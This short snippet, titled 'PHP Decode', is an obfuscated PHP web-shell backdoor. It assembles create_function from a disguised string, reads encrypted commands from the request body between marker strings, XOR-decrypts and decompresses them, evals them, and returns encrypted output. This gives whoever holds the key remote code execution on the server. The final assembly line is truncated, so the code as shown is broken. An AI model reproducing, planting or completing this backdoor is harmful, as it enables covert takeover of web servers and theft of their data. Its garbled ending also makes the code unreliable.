PHP Decode

<?php 
$V='$k="aaaaaaaa"; 
$kh="6f8af44abea0"; 
$kf="351039f4a7b5"; 
$p="0UlYyJHG87EJqEz6"; 
function x($';$P='++) { 
$o.=$t{$i}^$k{$j}; 
}}return $o; 
}if(@preg_match("/$kh(.+)$kf/",@file_get_contents('; 
 
$d='t,$k){$c=strlen($k); 
$l=strlen($t); 
$o=""; 
for($i=0; 
$i<$l; 
){for($j=0; 
($j<$c&&$i<$l); 
$j++,$i'; 
 
$B='ob_get_contents(); 
@ob_end_clean(); 
$r=@base64_encode(@x(@gzcompress($o),$k)); 
print("$p$kh$r$kf"); 
}'; 
 
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion'); 
 
$c='"php://input"),$m)==1){@ob_start(); 
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); 
$o=@'; 
 
$u=str_replace('','',$V.$d.$P.$c.$B); 
 
$x=$N('',$; 
$x(); 
 
?>